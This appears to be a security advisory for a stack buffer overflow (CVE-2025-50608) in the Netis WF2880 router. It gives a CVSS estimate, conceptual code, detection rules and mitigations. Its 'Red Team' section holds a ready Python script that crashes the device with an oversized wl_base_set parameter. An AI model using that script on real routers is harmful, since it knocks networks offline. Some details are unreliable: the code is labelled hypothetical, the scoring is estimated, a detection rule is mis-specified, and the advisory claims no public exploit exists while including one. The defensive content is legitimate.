CVE-2025-50608

Executive Summary

CVE-2025-50608 is a buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version 2.1.40207. The flaw resides in the FUN_00471994 function within the cgitest.cgi file. An attacker can trigger this vulnerability by controlling the wl_base_set parameter in the payload, leading to a program crash and potentially a Denial of Service (DoS) condition. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring. This vulnerability poses a risk to network availability for affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or incomplete assessment. Based on the description, a reasonable estimated vector would be:

• Attack Vector (AV): Network (Adjacent) – The attacker likely needs network access to the device.
• Attack Complexity (AC): Low – The vulnerability is triggered by controlling a parameter.
• Privileges Required (PR): None – No authentication is mentioned.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit affects the device itself.
• Confidentiality (C): None – No data exfiltration is mentioned.
• Integrity (I): None – No data modification is mentioned.
• Availability (A): High – The crash leads to DoS.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability is limited to DoS and requires network access, but no patch is available.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the cgitest.cgi CGI binary. The FUN_00471994 function processes the wl_base_set parameter from an HTTP request. When a crafted payload is sent, the function copies the input into a fixed-size buffer on the stack without proper bounds checking. This overwrites adjacent memory, including the return address, causing a program crash.

Attack Vector:

1. The attacker sends an HTTP request to the vulnerable endpoint (likely /cgi-bin/cgitest.cgi).
2. The request includes a malicious wl_base_set parameter with a value exceeding the buffer size.
3. The FUN_00471994 function copies the oversized input into the stack buffer.
4. The overflow corrupts the stack, leading to a segmentation fault and DoS.

Impact: The router becomes unresponsive, requiring a physical reboot or power cycle to restore functionality. Repeated attacks can cause persistent downtime.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the FUN_00471994 function of cgitest.cgi in firmware version 2.1.40207.

Vulnerable Code (Conceptual):

void FUN_00471994(char *wl_base_set) {
    char buffer[64];
    strcpy(buffer, wl_base_set); // No bounds checking
    // ... process buffer
}

Patched Code (Hypothetical):

void FUN_00471994(char *wl_base_set) {
    char buffer[64];
    strncpy(buffer, wl_base_set, sizeof(buffer) - 1); // Bounds checking
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Netis WF2880 router with firmware version 2.1.40207.
2. Connect the router to a local network and note its IP address (e.g., 192.168.1.1).
3. Use a tool like curl or a Python script to send a crafted request.

Exploit Script (Python):

import requests

target = "http://192.168.1.1/cgi-bin/cgitest.cgi"
payload = "A" * 200  # Overflow buffer

data = {"wl_base_set": payload}
try:
    r = requests.post(target, data=data, timeout=5)
    print("Request sent. Router may be down.")
except requests.exceptions.Timeout:
    print("Router is unresponsive - DoS likely successful.")

Execution:

python3 exploit.py

Blue Team

Detection:

• Monitor for HTTP requests to /cgi-bin/cgitest.cgi with unusually long wl_base_set parameters.
• Use network traffic analysis to detect repeated requests from a single source.

Mitigation:

• Isolate the router on a separate VLAN.
• Implement rate limiting on the CGI endpoint.
• Monitor device logs for crashes or reboots.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/cgitest.cgi with wl_base_set parameter exceeding 64 bytes.
  • Repeated connection timeouts to the router's IP address.
• System:
  • Router logs showing segmentation faults or crashes in cgitest.cgi.
  • Unexpected router reboots without user intervention.

Detection Engineering

YARA Rule

rule CVE_2025_50608_Netis_WF2880_DoS {
    meta:
        description = "Detects exploit attempts for CVE-2025-50608 targeting Netis WF2880"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50608"
    strings:
        $cgi_path = "/cgi-bin/cgitest.cgi" ascii wide nocase
        $param = "wl_base_set=" ascii wide nocase
        $overflow = "AAAA" ascii // Indicator of long payload
    condition:
        $cgi_path and $param and #overflow > 10
}

Sigma Rule

title: CVE-2025-50608 Netis WF2880 DoS Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting cgitest.cgi with long wl_base_set parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/cgitest.cgi'
        cs-uri-query|contains: 'wl_base_set='
        sc-bytes|gte: 200
    condition: selection
falsepositives:
    - Legitimate large configuration values (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-50608 Netis WF2880 DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/cgitest.cgi"; http_uri; content:"wl_base_set="; http_client_body; pcre:"/wl_base_set=[A-Za-z0-9]{100,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Netis WF2880 on a separate VLAN or behind a firewall to limit exposure.
2. Disable remote management: If not required, disable WAN-side access to the router's web interface.
3. Monitor logs: Enable logging and monitor for crashes or unusual HTTP requests.

Long-Term Actions:

1. Contact vendor: Reach out to Netis for a firmware patch. If no patch is available, consider replacing the device.
2. Implement WAF: Use a web application firewall to filter oversized wl_base_set parameters.
3. Network segmentation: Restrict access to the router to trusted admin IPs only.

Workaround: If patching is not possible, block HTTP POST requests to /cgi-bin/cgitest.cgi at the network perimeter.

Valters IT